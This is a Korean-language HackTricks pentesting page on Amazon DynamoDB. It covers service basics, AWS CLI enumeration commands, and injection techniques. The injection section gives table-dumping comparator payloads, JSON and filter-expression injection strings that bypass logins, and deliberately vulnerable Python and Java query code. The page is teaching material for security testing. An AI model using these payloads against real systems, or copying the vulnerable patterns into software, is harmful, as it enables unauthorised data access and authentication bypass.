AWS - DynamoDB Enum

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

DynamoDB

기본 정보

Amazon DynamoDB는 AWS에서 완전 관리형, 서버리스, 키-값 NoSQL 데이터베이스로 제공되며, 크기에 관계없이 고성능 애플리케이션을 지원하도록 설계되었습니다. 이 서비스는 내재된 보안 조치, 중단 없는 백업, 여러 지역에 걸친 자동 복제, 통합 인메모리 캐싱 및 편리한 데이터 내보내기 유틸리티를 포함한 강력한 기능을 보장합니다.

DynamoDB의 맥락에서 전통적인 데이터베이스를 설정하는 대신, 테이블이 생성됩니다. 각 테이블은 테이블의 기본 키의 필수 구성 요소로 파티션 키의 지정을 요구합니다. 이 파티션 키는 본질적으로 해시 값으로, 항목 검색 및 다양한 호스트에 걸친 데이터 분배에서 중요한 역할을 합니다. 이 분배는 데이터베이스의 확장성과 가용성을 유지하는 데 필수적입니다. 또한, 데이터 조직을 더욱 세분화하기 위해 정렬 키를 포함할 수 있는 옵션이 있습니다.

암호화

기본적으로 DynamoDB는 Amazon DynamoDB에 속하는 KMS 키를 사용하며, 귀하의 계정에 최소한 속하는 AWS 관리 키조차 사용하지 않습니다.

백업 및 S3로 내보내기

테이블 백업 생성을 예약하거나 요청에 따라 생성할 수 있습니다. 또한, 테이블에 대한 시점 복구(PITR)를 활성화할 수도 있습니다. 시점 복구는 우발적인 쓰기 또는 삭제 작업으로부터 보호하기 위해 DynamoDB 데이터의 지속적인 백업35일 동안 제공합니다.

테이블의 데이터를 S3로 내보내는 것도 가능하지만, 테이블에 PITR이 활성화되어 있어야 합니다.

GUI

다이나모DB 로컬, dynalite, localstack 등과 같은 로컬 Dynamo 서비스에 대한 GUI가 있으며, 유용할 수 있습니다: https://github.com/aaronshaf/dynamodb-admin

열거

bash
# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field

#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename

# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>

# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>

# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>

# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints

인증되지 않은 접근

AWS - DynamoDB Unauthenticated Access

권한 상승

AWS - DynamoDB Privesc

포스트 익스플로잇

AWS - DynamoDB Post Exploitation

지속성

AWS - DynamoDB Persistence

DynamoDB 주입

SQL 주입

DynamoDB 데이터에 SQL 구문으로 접근할 수 있는 방법이 있으므로, 일반적인 SQL 주입도 가능합니다.

SQL Injection - HackTricks

NoSQL 주입

DynamoDB에서는 데이터를 검색하기 위해 다양한 조건을 사용할 수 있으며, 일반적인 NoSQL 주입에서 더 많은 조건을 연결하여 데이터를 검색할 수 있다면 숨겨진 데이터(또는 전체 테이블을 덤프할 수 있음)를 얻을 수 있습니다.
여기에서 DynamoDB에서 지원하는 조건을 찾을 수 있습니다: https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html

query 또는 **scan**을 통해 데이터에 접근할 경우 다른 조건이 지원된다는 점에 유의하세요.

note

실제로, Query 작업은 작동하기 위해 기본 키에서 **조건 "EQ" (같음)**을 지정해야 하므로, NoSQL 주입에 덜 취약하게 만들고(또한 작업을 매우 제한적으로 만듭니다).

비교를 변경하거나 새로운 비교를 추가할 수 있다면, 더 많은 데이터를 검색할 수 있습니다.

bash
# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space

NoSQL injection - HackTricks

원시 Json 주입

caution

이 취약점은 현재 사용 중단된 dynamodb Scan Filter에 기반합니다!

DynamoDB는 DB 내에서 데이터를 검색하기 위해 Json 객체를 수락합니다. 검색을 위해 전송된 json 객체에 작성할 수 있는 경우, DB 덤프를 생성하여 모든 내용을 가져올 수 있습니다.

예를 들어, 다음과 같은 요청에 주입:

bash
'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'

공격자는 다음과 같은 것을 주입할 수 있습니다:

1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0

ID 1000을 검색하는 "EQ" 조건을 수정한 다음, Id 문자열이 0보다 큰 모든 데이터를 찾습니다. 이는 모두 포함됩니다.

또 다른 로그인을 사용하는 취약한 예는 다음과 같습니다:

python
scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])

dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))

이것은 다음과 같은 취약점에 노출될 수 있습니다:

username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none

:property Injection

일부 SDK는 수행할 필터링을 나타내는 문자열을 사용할 수 있습니다.

java
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)

DynamoDB에서 필터 표현식에서 속성 대체하기 위해 항목을 스캔할 때, 토큰은 : 문자로 시작해야 합니다. 이러한 토큰은 런타임에 실제 속성 값으로 대체됩니다.

따라서 이전과 같은 로그인을 우회할 수 있는 방법은 다음과 같습니다:

bash
:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기